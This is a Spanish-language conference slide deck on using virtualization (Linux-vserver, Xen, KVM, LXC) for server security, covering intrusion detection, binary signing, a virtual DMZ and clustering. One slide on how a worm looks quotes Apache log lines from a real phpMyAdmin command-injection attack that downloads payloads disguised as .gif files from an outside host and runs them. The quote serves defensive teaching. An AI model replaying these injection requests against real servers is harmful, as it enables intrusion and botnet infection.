View
537
Download
0
Category
Preview:
Citation preview
2012-10-30Seguridad por virtualización G4
Derechos reservados © 2004-2012 Sandino Araico Sánchez <sandino@sandino.net> / Enrique A. Sánchez Montellano <enrique.sanchez@yaguarete-sec.com> / Rolando Cedillo Caballero <rolando@intelligencia.com>
Se permite ilimitadamente el uso, copia, redistribución con o sin modificaciones siempre y cuando se mantenga el aviso de derecho de autor y se anoten al final de la presentación todas las modificaciones que se llevan a cabo conservando la historia de las modificaciones que hagan las demás personas e indicando la fecha de cada modificación y el nombre de la persona que la llevó a cabo.
Simposium ITSSAT
Xen http://xensource.com
Vbox http://www.virtualbox.org
KVM http://linux-kvm.org
Zonas de Open Solaris
Open VZ http://openvz.org
LXC http://lxc.sourceforge.net
Linux-vserver http://linux-vserver.org
GR Security http://grsecurity.net
Seguridad por virtualización
Atributos de la seguridad por virtualización
Eficiencia
Encapsulamiento
Auditabilidad
Introspección
Dureza
[root@carnitas root] ps fax PID TTY STAT TIME COMMAND 1 ? S 0:04 init [3] 2 ? SW 0:00 [keventd] 3 ? SW 0:00 [kapmd] 4 ? SWN 0:00 [ksoftirqd_CPU0] 5 ? Z 1:06 [kswapd <defunct>] 6 ? SW 0:08 [bdflush] 7 ? SW 5:57 [kupdated] 8 ? SW 6:56 [kjournald] 61 ? SW 0:00 [khubd] 109 ? SW< 0:00 [mdrecoveryd] 1186 ? SW 0:03 [kreiserfsd]31375 ? S 4:59 syslogd -m 021127 ? S 5:16 klogd -x 350 ? S 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-scripts/apmscript17503 ? S 0:00 /usr/sbin/sshd 2482 ? S 0:18 \_ /usr/sbin/sshd26369 pts/19 S 0:00 | \_ -bash15624 pts/19 S 0:00 | \_ screen -r 6378 ? S 0:00 \_ /usr/sbin/sshd22919 pts/22 S 0:00 | \_ -bash18816 pts/22 S 0:00 | \_ tail --follow=name /var/log/info 2924 ? S 0:00 \_ /usr/sbin/sshd 3507 pts/23 S 0:00 \_ -bash 5315 pts/23 R 0:00 \_ ps fax 5193 ? SL 0:00 ntpd -U ntp -g11656 ? S 0:00 gpm -t ps/2 -m /dev/psaux18722 ? S 0:00 crond27300 ? S 0:00 /usr/sbin/atd 8063 ? S 0:00 /usr/local/sbin/rebootmgr --pidfile /var/run/rebootmgr.pid fedora fedora-pruebas gentoo mandrake redhat10923 ? S 0:00 login -- ruth 16086 tty2 S 0:01 \_ -bash14621 tty3 S 0:00 /sbin/mingetty tty315563 tty4 S 0:00 /sbin/mingetty tty421516 tty5 S 0:00 /sbin/mingetty tty513617 tty6 S 0:00 /sbin/mingetty tty6 2390 ? S 76:58 SCREEN 1833 pts/7 S 0:00 \_ /bin/bash 3889 pts/8 S 0:01 \_ /bin/bash32320 pts/9 S 0:00 \_ /bin/bash 5109 pts/10 S 0:06 \_ /bin/bash 90 pts/13 S 0:00 \_ /bin/bash 6877 pts/17 S 0:00 \_ /bin/bash24449 ? S 0:00 login -- viewlog 3085 tty1 S 0:00 \_ /bin/sh /var/log/viewlogs.sh 4594 tty1 S 0:00 \_ tail --follow=name boot.log cron dmesg ksyms.0 maillog messages mysqld.log secure apache/*log
Introspección
Host
guest vserver guest vserverguest vserveripv4root is now 192.168.4.6New security context is 49154[root@carnitas /] ps fax PID TTY STAT TIME COMMAND29351 pts/23 S 0:00 /bin/bash -login30000 pts/23 R+ 0:00 \_ ps fax31178 ? Ss 0:04 /usr/sbin/cron 8298 ? Ss 0:00 /usr/sbin/sshd12965 ? Ss 0:00 /usr/sbin/syslogd -m 0[root@carnitas /]
ipv4root is now 192.168.4.9New security context is 49153[root@fedora-pruebas /] ps fax PID TTY STAT TIME COMMAND11416 pts/23 S 0:00 /bin/bash -login 642 pts/23 R 0:00 \_ ps fax27525 ? S 2:10 /usr/sbin/rcd -r 468 ? S 34:22 SCREEN11908 pts/2 S 0:00 \_ /bin/bash17447 pts/2 S 125:19 | \_ top24134 pts/3 S 0:00 \_ /bin/bash15032 pts/4 S 0:01 \_ /bin/bash30409 pts/5 S 0:09 \_ /bin/bash27016 pts/6 S 0:03 \_ /bin/bash18787 pts/12 S 0:06 \_ /bin/bash19997 ? S 0:00 crond26925 ? S 0:04 /usr/libexec/postfix/master15234 ? S 0:00 xinetd -stayalive -pidfile /var/run/xinetd.pid 3983 ? S 0:09 /usr/sbin/sshd12499 ? S 0:35 \_ sshd: root@pts/014284 pts/0 S 0:00 \_ -bash10672 pts/0 S 0:00 \_ screen -r21878 ? S 3:32 syslogd -m 0[root@fedora-pruebas /]
ipv4root is now 192.168.4.10 127.0.4.10New security context is 49163[root@fedora-install /] ps fax PID TTY STAT TIME COMMAND21576 pts/23 S 0:00 /bin/bash -login 1092 pts/23 R 0:00 \_ ps fax28746 ? S 0:00 /usr/bin/freshclam -d -p /var/run/clamav/freshclam.pid27546 ? S 0:08 /usr/sbin/clamd 8936 ? S 0:00 \_ /usr/sbin/clamd12545 pts/18 S 0:00 su jabber -c /usr/sbin/jabberd -H /var/lib/jabber -c /var/run/jabber/jabber.xml 8519 pts/18 S 0:00 \_ /usr/sbin/jabberd -H /var/lib/jabber -c /var/run/jabber/jabber.xml21987 pts/18 S 0:00 \_ /usr/sbin/jabberd -H /var/lib/jabber -c /var/run/jabber/jabber.xml11587 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger pop3d-ssl27159 ? S 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 -stderrlogger=/usr/lib/courier-imap/sbin/courierlogger -stderrl27614 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger pop3d23069 ? S 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 -stderrlogger=/usr/lib/courier-imap/sbin/courierlogger -stderrl15630 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger imapd-ssl 6387 ? S 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 -stderrlogger=/usr/lib/courier-imap/sbin/courierlogger -stderrl 7574 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger imapd29190 ? S 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 -stderrlogger=/usr/lib/courier-imap/sbin/courierlogger -stderrl 75 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger -pid=/var/run/authdaemon.courier-imap/pid -start /usr/lib/courier-imap/libe 7065 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain16345 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain 342 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain 9778 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain30034 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain18176 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain12295 ? S 0:00 /usr/libexec/postfix/master 5888 ? S 0:00 \_ qmgr -l -t fifo -u22906 ? S 0:00 \_ pickup -l -t fifo -u 7880 ? S 0:03 /usr/bin/spamd -d -x -u spamd -m 6 -H /var/cache/spamd13036 ? S 0:01 \_ spamd child29368 ? S 0:01 \_ spamd child12580 ? S 0:01 \_ spamd child13315 ? S 0:01 \_ spamd child23456 ? S 0:01 \_ spamd child27050 ? S 0:00 \_ spamd child16011 ? S 0:00 /usr/sbin/httpd 9849 ? S 0:00 \_ /usr/sbin/rotatelogs /var/log/httpd/sapodesk.access.log.%Y%B%d 60480021818 ? S 0:00 \_ /usr/sbin/httpd17319 ? S 0:00 \_ /usr/sbin/httpd16118 ? S 0:00 \_ /usr/sbin/httpd15154 ? S 0:00 \_ /usr/sbin/httpd22121 ? S 0:00 \_ /usr/sbin/httpd19986 ? S 0:00 \_ /usr/sbin/httpd22846 ? S 0:00 \_ /usr/sbin/httpd11579 ? S 0:00 \_ /usr/sbin/httpd 3342 pts/18 S 0:00 /bin/sh /usr/bin/safe_mysqld --defaults-file=/etc/my.cnf23346 pts/18 S 0:00 \_ /usr/libexec/mysqld --defaults-file=/etc/my.cnf --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=28855 pts/18 S 0:00 \_ /usr/libexec/mysqld --defaults-file=/etc/my.cnf --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-f30840 pts/18 S 0:00 \_ /usr/libexec/mysqld --defaults-file=/etc/my.cnf --basedir=/usr --datadir=/var/lib/mysql --user=mysql --p19176 pts/18 S 0:00 \_ /usr/libexec/mysqld --defaults-file=/etc/my.cnf --basedir=/usr --datadir=/var/lib/mysql --user=mysql --p24053 ? S 15:00 /usr/sbin/rcd -r30151 ? S 0:00 crond26749 ? S 0:03 /usr/sbin/sshd 8813 ? S 0:11 \_ sshd: root@pts/129821 pts/1 S 0:00 | \_ -bash 4149 pts/1 S 0:00 | \_ screen 2753 ? S 1:02 | \_ SCREEN 8203 pts/11 S 0:00 | \_ /bin/bash21729 pts/11 S 58:56 | | \_ top 3848 pts/14 S 0:04 | \_ /bin/bash 9026 pts/15 S 0:00 | \_ /bin/bash17204 pts/20 S 0:00 | \_ /bin/bash 602 pts/21 S 0:00 | \_ /bin/bash12312 pts/18 S 0:01 | \_ /bin/bash 3484 ? S 0:00 \_ sshd: root@pts/1612719 pts/16 S 0:00 \_ -bash24044 pts/16 S 0:00 \_ tail --follow=name /var/log/boot.log /var/log/cron /var/log/dmesg /var/log/httpd/access_log /var/log/htt 6578 pts/16 S 0:00 \_ tail --follow=name /var/log/boot.log /var/log/cron /var/log/dmesg /var/log/httpd/access_log /var/log/htt 1220 ? S 0:05 syslogd -m 0[root@fedora-install /]
Hardware (host)
Capa de virtualización
VM (guest)
VM (guest)
VM (guest)
Herramientas de detección de intrusos
Snort
AIDE / samhain
Chkrootkit / RKHunter
Tcpdump / Wireshark
NTOP
PSAD / blockhosts
clamav
Sin virtualizaciónHost
clientes hostiles
207.113.245.241
Servicios en
producción
Snort
Log
Con virtualización
clientes hostiles
Capa de virtualización
Log
tcpdump en el host
Snort207.113.245.241
Servicios en
producción
clientes hostiles
Log
tcpdump en el host
Snort207.113.245.241
Servicios probablementevulnerables
Honeypot en producción
Capa de virtualización
Firma de binariosSin virtualización
Host
clientes hostiles
207.113.245.241
Log/usr/sbin/aide
/bin /lib /etc /usr/bin /usr/lib/usr/sbin
/bin /lib /etc /usr/bin /usr/sbin
clientes hostiles
Capa de virtualización
Repo
Aide / samhain
Firma de binarios/bin /lib /etc /usr/bin /usr/sbin
/bin /lib /etc /usr/bin /usr/sbin
/bin /lib /etc /usr/bin /usr/sbin
/bin /lib /etc /usr/bin /usr/sbin
/bin /lib /etc /usr/bin /usr/sbin
Hardware (host)
Acceso a la red
Iptables
Iproute2
OpenVPN
Squid
Ipcop
blockhosts
Sin virtualizaciónHost 200.33.4.13 - 18
HTTP
clientes
SMTP POP3
IMAPFTP FTP
/var/www/html /home
Con virtualización
clientes
Capa de virtualización
/var/www/html /home
Hardware (host)
FTP HTTP SMTP POP3
DMZ virtual
clientes
Capa de virtualización
/var/www/html /home
Hardware (host)
FTP HTTP SMTP POP3
NAT
Así se ve un gusanoarrachera.saks: 614 total, 2 running, 612 sleeping, 0 stopped, 0 zombieCpu0 : 0.0%us, 0.1%sy, 0.0%ni, 97.2%id, 0.0%wa, 1.5%hi, 1.2%si, 0.0%st...Mem: 12302896k total, 12038224k used, 264672k free, 1234036k buffersSwap: 4192880k total, 3280k used, 4189600k free, 7756440k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
16044 bin 24 0 3540 1956 1340 R 100 0.0 11:02.05 x 12188 40 17 0 23176 19m 1860 S 0 0.2 0:31.61 named 27265 40 15 0 15536 12m 2068 S 0 0.1 0:01.27 named 7721 root 15 0 17604 1968 992 R 0 0.0 1:04.83 top
Así se ve un gusano599 [root@posh ~] vcontext --xid 126 --migrate -- ls -la /proc/16044total 0dr-x------ 6 bin bin 0 Oct 9 12:03 .dr-xr-xr-x 629 root root 0 Oct 8 08:24 ..dr-xr-xr-x 2 bin bin 0 Oct 9 12:17 attr...-r--r--r-- 1 bin bin 0 Oct 9 12:14 cmdlinelrwxrwxrwx 1 bin bin 0 Oct 9 12:17 cwd -> /vservers/eaea/usr/local/apache2/eaea/data/bb-r-------- 1 bin bin 0 Oct 9 12:17 environlrwxrwxrwx 1 bin bin 0 Oct 9 12:03 exe -> /vservers/eaea/usr/bin/perl...
-rw-r--r-- 1 bin bin 0 Oct 9 12:17 oom_adj-r--r--r-- 1 bin bin 0 Oct 9 12:17 oom_scorelrwxrwxrwx 1 bin bin 0 Oct 9 12:17 root -> /vservers/eaea ...
Así se ve un gusano84.194.192.10 - - [09/Oct/2009:06:19:28 -0500] "GET //phpmyadmin/config/inc.inc.php?c=cd%20/usr/local/apache2/htdocs/eaea;%20wget%20ns.ava-bg.com/~eliza/emsi.gif;%20tar%20zxvf%20emsi.gif;%20rm%20-rf%20emsi.gif;%20cd%20mc-root;%20./start%20php.My-Admin- HTTP/1.1" 200 31884.194.192.10 - - [09/Oct/2009:06:19:50 -0500] "GET //phpmyadmin/config/inc.inc.php?c=cd%20/usr/local/apache2/htdocs/eaea/mc-root/r;%20ps%20x HTTP/1.1" 200 82784.194.192.10 - - [09/Oct/2009:06:20:32 -0500] "GET //phpmyadmin/config/inc.inc.php?c=cd%20/usr/local/apache2/htdocs/eaea/mc-root/r;%20wget%20ns.ava-bg.com/~eliza/dd0s.gif;%20tar%20zxvf%20dd0s.gif;%20rm%20-rf%20dd0s.gif;%20cd%20bb;%20PATH=%22./%22%20httpd;%20ps%20x HTTP/1.1" 200 112384.194.192.10 - - [09/Oct/2009:06:20:54 -0500] "GET //phpmyadmin/config/inc.inc.php?c=cd%20/usr/local/apache2/htdocs/eaea/mc-root/r/bb;%20./httpd;%20ps%20x HTTP/1.1" 200 839
Sistemas embebidosuClibc
Gentoo embedded <--- Linux Not GNU
USE=static
Resource limits
Storage limits
Solamente un proceso estático y ya
Con virtualización(Embebidos)
clientes
Capa de virtualización
/var/www/html /home
Hardware (host)
FTPHTTP SMTP POP3
Funciona igual pero son más pequeños
Un proceso por vserver
Sistema de archivos mínimo
No hay librerías
No hay compiladores
Fácilmente clusterizables
Virtualización + HA
Director
Clientes
Director en standby
Capa de virtualización
/var/www/html - NAS - /homeHost A Host B
VPS
VPS VPS
VPS
VPS
VPS
VPS
NAS redundante
Director
Clientes
Director en standby
Capa de virtualización
VPS
VPS VPS
VPS
VPS
VPS
VPS
Host A Host B NAS A NAS B
Estable (viejo)Linux 2.6.22.19
Linux-Vserver 2.2.0.7
GR Security 2.1.11
LVM2
Gentoo hardened 10.0
NFS
DesarrolloLinux 3.2.22
Linux-Vserver 2.3.2.10
GR Security 2.9.1
LVM2
Gentoo hardened 12.0
DRBD
OCFS2 / GFS2 / Glusterfs / Ceph
Cuadro comparativo
Linux-vserver Libre
Xen Libre y propietario
KVM Libre
LXC Libre
Sistema operativo
Linux-vserver Linux
Xen Linux / Net BSD / Open Solaris
KVM Linux
LXC Linux
Tecnología de virtualización
Linux-vserver Soft partitioning
Xen Virtualización y paravirtualización
KVM Virtualización y paravirtualización
LXC Soft partitioning
Encapsulamiento
Linux-vserver Parcial
Xen Sí
KVM Sí
LXC Parcial
Auditabilidad
Linux-vserver Sí
Xen No
KVM No
LXC SíXen y KVM podrían ser auditables si montamos el sistema de archivos raíz sobre NFS o sobre OCFS2/GFS2/Ceph
Introspección
Linux-vserver Sí
Xen No
KVM No
LXC Sí
El acceso a la consola del S. O. no se considera introspección
GR Security
Linux-vserver Sí
Xen En Linux > 3.0
KVM Sí
LXC Sí
Sistemas operativos heterogeneos
Linux-vserver No
Xen Linux, Net BSD, Open Solaris
KVM Solo en AMD64
LXC No
Versión más reciente de Linux(sin GR Security)
Linux-vserver 3.6
Xen 3.6.4
KVM 3.6.4
LXC 3.6.4
Versión más reciente de Linux(con GR Security)
Linux-vserver 3.2.22
Xen 3.6.4
KVM 3.6.4
LXC 3.6.4
Firma de binariosSin virtualización
Host
clientes hostiles
207.113.245.241
Log/usr/sbin/aide
/bin /lib /etc /usr/bin /usr/lib/usr/sbin
IDS en el NAS
clientes hostiles
Log( aide | chkrootkit | rkhunter | samhain )
/bin /lib /etc /usr/bin /usr/lib/usr/sbin
NAS
Capa de virtualización
Host A Host B
VPS VPS VPS VPS
( snort | NTOP ) ( tcpdump | blockhosts )
Referencias
http://mirrors.sandino.net/vserver/images
http://linux-vserver.org/Linux-VServer-Paper
http://www.redhat.com/magazine/014dec05/features/xen/
Sandino Araico Sánchez <sandino@1101.mx> @KBrown
http://linux-vserver.org
http://grsecurity.net
http://www.openvz.org
http://www.uclibc.org
http://lxc.sourceforge.net/
http://sourceware.org/cluster/gfs/
http://oss.oracle.com/projects/ocfs2/
http://gluster.org
http://www.drbd.org/
http://www.linux-kvm.org
Recommended